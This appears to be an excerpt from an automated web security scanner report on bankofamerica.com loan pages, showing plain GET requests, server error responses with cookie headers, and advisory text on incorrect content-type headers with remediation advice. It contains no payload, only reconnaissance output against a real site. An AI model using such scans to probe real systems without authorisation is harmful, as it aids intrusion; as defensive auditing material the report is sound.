HTTP/1.1 200 OK Server: Sun-ONE-Web-Server/6.1 Date: Tue, 23 Aug 2011 13:22:37 GMT Content-type: text/html P3P: CP="CAO IND PHY ONL UNI FIN COM NAV INT DEM CNT STA POL HEA PRE GOV CUR ADM DEV TAI PSA PSD IVAi IVDi CONo TELo OUR SAMi OTRi" Set-Cookie: state=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/ Set-Cookie: STATE=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/ Set-Cookie: STATE=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/; domain=bankofamerica.com Set-Cookie: state=CO; expires=Fri, 01-Jan-3999 01:01:01 GMT; path=/; domain=bankofamerica.com Page-Completion-Status: Normal Page-Completion-Status: Normal Content-Length: 1419
<html lang="en-US"> <head>
<script language="JavaScript" type="text/javascript"> <!-- var hParent = null; var ...[SNIP]...
GET /vehicle_and_personal_loans/cf/glossary_help.cfm HTTP/1.1 Host: www.bankofamerica.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 500 Internal Server Error Server: Sun-ONE-Web-Server/6.1 Date: Tue, 23 Aug 2011 13:31:04 GMT Content-type: text/html P3P: CP="CAO IND PHY ONL UNI FIN COM NAV INT DEM CNT STA POL HEA PRE GOV CUR ADM DEV TAI PSA PSD IVAi IVDi CONo TELo OUR SAMi OTRi" Set-Cookie: state=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/ Set-Cookie: STATE=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/ Set-Cookie: STATE=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/; domain=bankofamerica.com Set-Cookie: state=CO; expires=Fri, 01-Jan-3999 01:01:01 GMT; path=/; domain=bankofamerica.com Page-Completion-Status: Normal Page-Completion-Status: Abnormal Connection: close
<HTML> <HEAD> <TITLE>An Error Has Occurred</TITLE>
GET /vehicle_and_personal_loans/cf/how_works.cfm HTTP/1.1 Host: www.bankofamerica.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 500 Internal Server Error Server: Sun-ONE-Web-Server/6.1 Date: Tue, 23 Aug 2011 13:30:41 GMT Content-type: text/html P3P: CP="CAO IND PHY ONL UNI FIN COM NAV INT DEM CNT STA POL HEA PRE GOV CUR ADM DEV TAI PSA PSD IVAi IVDi CONo TELo OUR SAMi OTRi" Set-Cookie: state=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/ Set-Cookie: STATE=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/ Set-Cookie: STATE=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/; domain=bankofamerica.com Set-Cookie: state=CO; expires=Fri, 01-Jan-3999 01:01:01 GMT; path=/; domain=bankofamerica.com Page-Completion-Status: Normal Page-Completion-Status: Abnormal Connection: close
<HTML> <HEAD> <TITLE>An Error Has Occurred</TITLE>
If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.
In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.
Issue remediation
For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.